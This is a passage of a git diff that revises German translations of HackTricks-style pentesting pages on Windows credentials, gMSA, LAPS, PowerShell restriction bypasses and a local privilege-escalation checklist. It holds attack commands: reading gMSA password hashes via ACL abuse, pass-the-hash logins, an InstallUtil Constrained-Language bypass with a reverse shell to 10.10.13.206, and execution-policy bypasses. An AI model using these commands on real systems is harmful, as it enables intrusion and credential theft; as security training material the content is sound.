Fall ist, kannst du mit einer `meterpreter`-Session das Token des Prozesses des Benutzers impersonifizieren (`impersonate_token` from `incognito`). Oder du könntest einfach in den Prozess des Benutzers `migrate`. #### Knowing the users password @@ -141,64 +141,64 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files ## Group Managed Service Accounts (gMSA) -Microsoft hat **Group Managed Service Accounts (gMSA)** entwickelt, um die Verwaltung von Servicekonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Servicekonten, die häufig die Einstellung "**Password never expire**" aktiviert haben, bieten gMSAs eine sicherere und besser verwaltbare Lösung: +Microsoft entwickelte **Group Managed Service Accounts (gMSA)**, um die Verwaltung von Servicekonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Servicekonten, die oft die Einstellung "**Password never expire**" aktiviert haben, bieten gMSAs eine sicherere und besser verwaltbare Lösung: -- **Automatic Password Management**: gMSAs verwenden ein komplexes, 240-stelliges Passwort, das automatisch gemäß den Richtlinien der Domain oder des Computers geändert wird. Dieser Prozess wird vom Key Distribution Service (KDC) von Microsoft gehandhabt, wodurch manuelle Passwortaktualisierungen entfallen. -- **Enhanced Security**: Diese Konten sind gegen Sperrungen immun und können nicht für interaktive Logins verwendet werden, was ihre Sicherheit erhöht. -- **Multiple Host Support**: gMSAs können über mehrere Hosts geteilt werden, wodurch sie ideal für Dienste sind, die auf mehreren Servern laufen. -- **Scheduled Task Capability**: Im Gegensatz zu managed service accounts unterstützen gMSAs das Ausführen geplanter Aufgaben. -- **Simplified SPN Management**: Das System aktualisiert automatisch den Service Principal Name (SPN), wenn sich die sAMaccount-Details des Computers oder dessen DNS-Name ändern, was die SPN-Verwaltung vereinfacht. +- **Automatic Password Management**: gMSAs verwenden ein komplexes, 240-stelliges Passwort, das automatisch gemäß Domain- oder Computer-Richtlinie geändert wird. Dieser Prozess wird vom Microsoft Key Distribution Service (KDC) gehandhabt und eliminiert den Bedarf an manuellen Passwortaktualisierungen. +- **Enhanced Security**: Diese Konten sind gegen Lockouts immun und können nicht für interaktive Logins verwendet werden, was ihre Sicherheit erhöht. +- **Multiple Host Support**: gMSAs können über mehrere Hosts hinweg geteilt werden, was sie ideal für Dienste macht, die auf mehreren Servern laufen. +- **Scheduled Task Capability**: Im Gegensatz zu managed service accounts unterstützen gMSAs das Ausführen geplanter Tasks. +- **Simplified SPN Management**: Das System aktualisiert automatisch den Service Principal Name (SPN), wenn sich sAMaccount-Details oder der DNS-Name des Computers ändern, was das SPN-Management vereinfacht. -Die Passwörter für gMSAs werden in der LDAP-Eigenschaft _**msDS-ManagedPassword**_ gespeichert und von Domain Controllers (DCs) alle 30 Tage automatisch zurückgesetzt. Dieses Passwort, ein verschlüsselter Datenblob bekannt als [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kann nur von autorisierten Administratoren und den Servern, auf denen die gMSAs installiert sind, abgerufen werden, was eine sichere Umgebung gewährleistet. Um auf diese Informationen zuzugreifen, ist eine gesicherte Verbindung wie LDAPS erforderlich, oder die Verbindung muss mit 'Sealing & Secure' authentifiziert sein. +Die Passwörter für gMSAs werden in der LDAP-Property _**msDS-ManagedPassword**_ gespeichert und von Domain Controllern (DCs) alle 30 Tage automatisch zurückgesetzt. Dieses Passwort, ein verschlüsselter Datenblob bekannt als [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kann nur von autorisierten Administratoren und den Servern, auf denen die gMSAs installiert sind, abgerufen werden, was eine sichere Umgebung gewährleistet. Um auf diese Informationen zuzugreifen, ist eine gesicherte Verbindung wie LDAPS erforderlich oder die Verbindung muss mit 'Sealing & Secure' authentifiziert sein. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) -Du kannst dieses Passwort mit [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader) auslesen: +Du kannst dieses Passwort mit [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** ``` /GMSAPasswordReader --AccountName jkohler ``` [**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) -Sieh dir außerdem diese [web page](https://cube0x0.github.io/Relaying-for-gMSA/) an, um zu erfahren, wie man eine **NTLM relay attack** durchführt, um das **password** von **gMSA** zu **read**. +Schauen Sie sich auch diese [web page] an, die beschreibt, wie man einen **NTLM relay attack** ausführt, um das **password** des **gMSA** zu **read**. -### Ausnutzen von ACL-Chaining, um das verwaltete gMSA-Passwort zu lesen (GenericAll -> ReadGMSAPassword) +### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword) -In vielen Umgebungen können Benutzer mit geringen Rechten zu gMSA-Geheimnissen pivotieren, ohne den DC zu kompromittieren, indem sie fehlkonfigurierte Objekt-ACLs ausnutzen: +In vielen Umgebungen können low-privileged users ohne Kompromittierung des DC auf gMSA-Secrets pivotieren, indem sie fehlkonfigurierte Objekt-ACLs ausnutzen: -- Eine Gruppe, die du kontrollieren kannst (z. B. via GenericAll/GenericWrite), erhält `ReadGMSAPassword` für ein gMSA. -- Wenn du dich dieser Gruppe hinzufügst, erbst du das Recht, das `msDS-ManagedPassword`-Blob des gMSA über LDAP zu lesen und daraus verwendbare NTLM-Credentials abzuleiten. +- Eine Gruppe, die Sie kontrollieren können (z. B. via GenericAll/GenericWrite), erhält `ReadGMSAPassword` für ein gMSA. +- Indem Sie sich selbst zu dieser Gruppe hinzufügen, erben Sie das Recht, das `msDS-ManagedPassword`-Blob des gMSA über LDAP zu lesen und daraus verwertbare NTLM-Anmeldeinformationen abzuleiten. Typischer Ablauf: -1) Finde den Pfad mit BloodHound und markiere deine Foothold-Principals als Owned. Suche nach Kanten wie: +1) Discover the path mit BloodHound und markieren Sie Ihre foothold principals als Owned. Suchen Sie nach Kanten wie: - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA -2) Füge dich der zwischengeschalteten Gruppe hinzu, die du kontrollierst (Beispiel mit bloodyAD): +2) Fügen Sie sich der zwischengeschalteten Gruppe hinzu, die Sie kontrollieren (Beispiel mit bloodyAD): ```bash bloodyAD --host -d -u -p add groupMember ``` -3) Das gMSA verwaltete Passwort über LDAP auslesen und den NTLM-Hash ableiten. NetExec automatisiert die Extraktion von `msDS-ManagedPassword` und die Konvertierung zu NTLM: +3) Das gMSA verwaltete Passwort über LDAP auslesen und daraus den NTLM-Hash ableiten. NetExec automatisiert die Extraktion von `msDS-ManagedPassword` und die Konvertierung in NTLM: ```bash # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically netexec ldap -u -p --gmsa # Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f ``` -4) Authentifiziere dich als gMSA mit dem NTLM hash (kein Klartext erforderlich). Wenn das Konto in Remote Management Users ist, funktioniert WinRM direkt: +4) Als gMSA mit dem NTLM-Hash authentifizieren (kein Klartext erforderlich). Wenn das Konto in Remote Management Users ist, funktioniert WinRM direkt: ```bash # SMB / WinRM as the gMSA using the NT hash netexec smb -u 'mgtsvc$' -H netexec winrm -u 'mgtsvc$' -H ``` Hinweise: -- LDAP-Abfragen des `msDS-ManagedPassword` erfordern Sealing (z. B. LDAPS/sign+seal). Tools erledigen das automatisch. -- gMSAs erhalten oft lokale Rechte wie WinRM; überprüfe die Gruppenmitgliedschaft (z. B. Remote Management Users), um laterale Bewegung zu planen. -- Wenn du nur das Blob brauchst, um das NTLM selbst zu berechnen, siehe die MSDS-MANAGEDPASSWORD_BLOB-Struktur. +- LDAP-Abfragen von `msDS-ManagedPassword` erfordern Sealing (z. B. LDAPS/sign+seal). Tools erledigen das automatisch. +- gMSAs erhalten häufig lokale Rechte wie WinRM; überprüfe die Gruppenmitgliedschaft (z. B. Remote Management Users), um lateral movement zu planen. +- Wenn du nur den Blob benötigst, um den NTLM selbst zu berechnen, siehe MSDS-MANAGEDPASSWORD_BLOB structure. ## LAPS -Die **Local Administrator Password Solution (LAPS)**, zum Download verfügbar bei [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), ermöglicht die Verwaltung von lokalen Administratorpasswörtern. Diese Passwörter, die **zufällig generiert**, einzigartig und **regelmäßig geändert** werden, werden zentral im Active Directory gespeichert. Der Zugriff auf diese Passwörter wird per ACLs auf autorisierte Benutzer beschränkt. Mit ausreichenden Berechtigungen ist es möglich, lokale Admin-Passwörter auszulesen. +Die **Local Administrator Password Solution (LAPS)**, verfügbar zum Download bei [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), ermöglicht die Verwaltung lokaler Administrator-Passwörter. Diese Passwörter sind **zufällig generiert**, einzigartig und **regelmäßig geändert** und werden zentral in Active Directory gespeichert. Der Zugriff auf diese Passwörter wird über ACLs auf autorisierte Benutzer beschränkt. Sind entsprechende Berechtigungen vergeben, ist das Auslesen lokaler Admin-Passwörter möglich. {{#ref}} @@ -207,7 +207,7 @@ Die **Local Administrator Password Solution (LAPS)**, zum Download verfügbar be ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **schränkt viele der Funktionen ein**, die nötig sind, um PowerShell effektiv zu nutzen, wie zum Beispiel das Blockieren von COM-Objekten, das Zulassen nur genehmigter .NET-Typen, XAML-basierter Workflows, PowerShell-Klassen und mehr. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **schränkt viele der Funktionen ein**, die für die effektive Nutzung von PowerShell erforderlich sind, z. B. das Blockieren von COM-Objekten, das Zulassen nur genehmigter .NET-Typen, XAML-basierte Workflows, PowerShell-Klassen und mehr. ### **Überprüfen** ```bash @@ -219,10 +219,10 @@ $ExecutionContext.SessionState.LanguageMode #Easy bypass Powershell -version 2 ``` -Unter aktuellen Windows funktioniert dieser Bypass nicht, aber du kannst [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Zum Kompilieren musst du möglicherweise** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> füge `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` hinzu und **ändere das Projekt auf .Net4.5**. +In aktuellen Windows funktioniert dieser Bypass nicht, aber du kannst [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) verwenden.\ +**Zum Kompilieren musst du möglicherweise** _**eine Referenz hinzufügen**_ -> _Durchsuchen_ -> _Durchsuchen_ -> füge `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` hinzu und **ändere das Projekt auf .Net4.5**. -#### Direkter Bypass: +#### Direct bypass: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` @@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -Du kannst [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell-Code** in jedem Prozess auszuführen und den constrained mode zu umgehen. Für mehr Infos siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +Sie können [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell-Code auszuführen** in jedem Prozess und den constrained mode zu umgehen. Für mehr Infos siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## PS-Ausführungsrichtlinie +## PS Ausführungsrichtlinie -Standardmäßig ist sie auf **restricted.** Hauptwege, diese Richtlinie zu umgehen: +Standardmäßig ist sie auf **restricted** gesetzt. Hauptwege, diese Richtlinie zu umgehen: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -254,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -Mehr Informationen finden Sie [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +Mehr dazu [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) ## Security Support Provider Interface (SSPI) Ist die API, die zur Authentifizierung von Benutzern verwendet werden kann. -Das SSPI ist dafür zuständig, das geeignete Protokoll für zwei Maschinen zu finden, die miteinander kommunizieren wollen. Die bevorzugte Methode dafür ist Kerberos. Anschließend verhandelt das SSPI, welches Authentifizierungsprotokoll verwendet wird. Diese Authentifizierungsprotokolle werden Security Support Provider (SSP) genannt, liegen auf jedem Windows-System in Form einer DLL vor und beide Maschinen müssen dasselbe unterstützen, um miteinander kommunizieren zu können. +Die SSPI ist dafür zuständig, das geeignete Protokoll für zwei Maschinen zu finden, die kommunizieren wollen. Die bevorzugte Methode dafür ist Kerberos. Anschließend verhandelt die SSPI, welches Authentifizierungsprotokoll verwendet wird. Diese Authentifizierungsprotokolle heißen Security Support Provider (SSP), befinden sich auf jedem Windows-Rechner in Form einer DLL und beide Maschinen müssen dasselbe unterstützen, um kommunizieren zu können. -### Main SSPs +### Haupt-SSPs -- **Kerberos**: Die bevorzugte +- **Kerberos**: Bevorzugt - %windir%\Windows\System32\kerberos.dll - **NTLMv1** and **NTLMv2**: Aus Kompatibilitätsgründen - %windir%\Windows\System32\msv1_0.dll -- **Digest**: Web servers und LDAP, Passwort in Form eines MD5-Hashes +- **Digest**: Webserver und LDAP, Passwort in Form eines MD5-Hashes - %windir%\Windows\System32\Wdigest.dll - **Schannel**: SSL und TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: Wird verwendet, um das zu verwendende Protokoll auszuhandeln (Kerberos oder NTLM, wobei Kerberos die Standardwahl ist) +- **Negotiate**: Wird verwendet, um das zu verwendende Protokoll zu verhandeln (Kerberos oder NTLM; Kerberos ist die Standardeinstellung) - %windir%\Windows\System32\lsasrv.dll -#### The negotiation could offer several methods or only one. +#### Die Aushandlung kann mehrere Methoden oder nur eine anbieten. ## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für Aktionen mit erhöhten Rechten** bereitstellt. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsabfrage für erhöhte Aktivitäten** ermöglicht. {{#ref}} diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index f89887171..7fd7c99f5 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -2,17 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -### **Bestes Tool, um Windows local privilege escalation vectors zu finden:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Bestes Tool, um Windows local privilege escalation Vektoren zu finden:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [System Info](windows-local-privilege-escalation/index.html#system-info) +### [System-Info](windows-local-privilege-escalation/index.html#system-info) - [ ] Beschaffe [**System information**](windows-local-privilege-escalation/index.html#system-info) - [ ] Suche nach **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] Verwende Google, um nach kernel exploits zu suchen -- [ ] Verwende searchsploit, um nach kernel exploits zu suchen -- [ ] Interessante Infos in [**env vars**](windows-local-privilege-escalation/index.html#environment)? +- [ ] Benutze **Google**, um nach kernel **exploits** zu suchen +- [ ] Benutze **searchsploit**, um nach kernel **exploits** zu suchen +- [ ] Interessante Informationen in [**env vars**](windows-local-privilege-escalation/index.html#environment)? - [ ] Passwörter in [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)? -- [ ] Interessante Infos in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? +- [ ] Interessante Informationen in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? - [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? - [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) @@ -20,67 +20,67 @@ ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Prüfe [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)und [**WEF** ](windows-local-privilege-escalation/index.html#wef)-Einstellungen -- [ ] Prüfe [**LAPS**](windows-local-privilege-escalation/index.html#laps) +- [ ] Überprüfe [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)und [**WEF** ](windows-local-privilege-escalation/index.html#wef)Einstellungen +- [ ] Überprüfe [**LAPS**](windows-local-privilege-escalation/index.html#laps) - [ ] Prüfe, ob [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)aktiv ist - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] Prüfe, ob irgendeine [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) vorhanden ist +- [ ] Prüfe, ob irgendein [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) vorhanden ist - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Prüfe die **aktuellen** Benutzer**privilegien**(windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Überprüfe die **Privilegien** des aktuellen Users (current user **privileges**)(windows-local-privilege-escalation/index.html#users-and-groups) - [ ] Bist du [**Mitglied einer privilegierten Gruppe**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Prüfe, ob du eines dieser Tokens aktiviert hast: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] Prüfe, ob du eines dieser Token aktiviert hast: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? - [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] Prüfe [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (Zugriff?) +- [ ] Überprüfe [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (Zugriff?) - [ ] Prüfe die [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) - [ ] Was ist [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Prüfe die **aktuellen** [**Network** **information**](windows-local-privilege-escalation/index.html#network) -- [ ] Prüfe **versteckte lokale Dienste**, die nach außen beschränkt sind +- [ ] Überprüfe die aktuellen [**network information**](windows-local-privilege-escalation/index.html#network) +- [ ] Prüfe versteckte lokale Services, die von außen eingeschränkt sind ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Zugriffsrechte auf Prozess-Binaries: [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] Dateisystem- und Ordnerberechtigungen von Prozess-Binaries [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] Credentials stehlen mit **interessanten Prozessen** via `ProcDump.exe` ? (firefox, chrome, usw.) +- [ ] Stehle Credentials mit **interessanten Prozessen** via `ProcDump.exe` ? (firefox, chrome, etc ...) ### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] Kannst du einen Dienst **modifizieren**? (Can you **modify any service**?) -- [ ] Kannst du die **binary**, die von einem Dienst **ausgeführt** wird, **ändern**? (Can you **modify** the **binary** that is **executed** by any **service**?) -- [ ] Kannst du die **Registry** eines Dienstes **ändern**? (Can you **modify** the **registry** of any **service**?) -- [ ] Kannst du von einem **unquoted service** binary **path** profitieren? (Can you take advantage of any **unquoted service** binary **path**?) +- [ ] Kannst du **einen Service modifizieren**? (Can you **modify any service**?) +- [ ] Kannst du die **Binary ändern**, die von einem **Service ausgeführt** wird? (Can you **modify** the **binary** that is **executed** by any **service**?) +- [ ] Kannst du die **Registry** eines **Services** ändern? (Can you **modify** the **registry** of any **service**?) +- [ ] Kannst du eine unquoted service binary **path** ausnutzen? (Can you take advantage of any **unquoted service** binary **path**?) ### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] **Write**-Berechtigungen auf installierte Anwendungen? ([**Write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)) - [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) - [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] Kannst du in irgendeinen Ordner innerhalb von PATH **schreiben**? -- [ ] Gibt es einen bekannten Service-Binary, der versucht, eine nicht-existente DLL zu laden? -- [ ] Kannst du in einen **Binaries-Ordner** **schreiben**? +- [ ] Kannst du in einen Ordner innerhalb von PATH schreiben? +- [ ] Gibt es einen bekannten Service-Binary, der versucht, eine nicht existierende DLL zu laden? +- [ ] Kannst du in einen Ordner mit Binaries schreiben? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Netzwerk enumerieren (Shares, Interfaces, Routes, Neighbours, ...) -- [ ] Achte besonders auf Netzwerkdienste, die auf localhost (127.0.0.1) lauschen +- [ ] Enumeriere das Netzwerk (shares, interfaces, routes, neighbours, ...) +- [ ] Schau besonders auf Netzwerkdienste, die auf localhost (127.0.0.1) lauschen ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) - [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials -- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) Credentials, die du verwenden könntest? +- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials, die du verwenden könntest? - [ ] Interessante [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Passwörter von gespeicherten [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? -- [ ] Interessante Infos in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? +- [ ] Passwörter gespeicherter [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? +- [ ] Interessante Informationen in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? - [ ] Passwörter in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)? - [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) Passwörter? - [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials? @@ -88,25 +88,25 @@ ### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **und** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) - [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? - [ ] Passwörter in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)? -- [ ] Irgendein [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) Backup? +- [ ] Gibt es ein [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) Backup? - [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? - [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) Datei? - [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? - [ ] Passwort in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)? -- [ ] Interessante Infos in [**web** **logs**](windows-local-privilege-escalation/index.html#logs)? -- [ ] Willst du den Benutzer nach [**credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) fragen? +- [ ] Interessante Informationen in [**web logs**](windows-local-privilege-escalation/index.html#logs)? +- [ ] Möchtest du den User nach [**Credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) fragen? - [ ] Interessante [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] Andere [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] In [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)? +- [ ] Andere [**registry Einträge, die Credentials enthalten**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] Im [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)? - [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in Dateien und Registry - [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) zum automatischen Suchen nach Passwörtern ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] Hast du Zugriff auf irgendeinen Handler eines Prozesses, der von einem Administrator ausgeführt wird? +- [ ] Hast du Zugriff auf einen Handler eines als Administrator ausgeführten Prozesses? ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 1d88a732f..a6a247324 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Bestes Tool, um nach Windows local privilege escalation vectors zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Bestes Tool, um nach Windows local privilege escalation Vektoren zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Einführende Windows-Theorie +## Einführung in die Windows-Theorie ### Access Tokens -**Wenn du nicht weißt, was Windows Access Tokens sind, lies die folgende Seite, bevor du fortfährst:** +**Wenn du nicht weißt, was Windows Access Tokens sind, lies vor dem Weiterlesen die folgende Seite:** {{#ref}} @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Sieh dir die folgende Seite für mehr Informationen zu ACLs - DACLs/SACLs/ACEs an:** +**Wenn du mehr über ACLs - DACLs/SACLs/ACEs wissen willst, lies die folgende Seite:** {{#ref}} @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Wenn du nicht weißt, was integrity levels in Windows sind, solltest du die folgende Seite lesen, bevor du fortfährst:** +**Wenn du nicht weißt, was Integrity Levels in Windows sind, solltest du vor dem Weiterlesen die folgende Seite lesen:** {{#ref}} @@ -35,7 +35,7 @@ integrity-levels.md ## Windows-Sicherheitskontrollen -Es gibt verschiedene Dinge in Windows, die dich daran hindern können, das System zu enumerieren, ausführbare Dateien auszuführen oder sogar deine Aktivitäten zu erkennen. Du solltest die folgende Seite lesen und all diese Abwehrmechanismen auflisten, bevor du mit der privilege escalation-Enumeration beginnst: +In Windows gibt es verschiedene Mechanismen, die dich daran hindern können, das System zu enumerieren, Executables auszuführen oder sogar deine Aktivitäten zu erkennen. Du solltest die folgende Seite lesen und alle diese 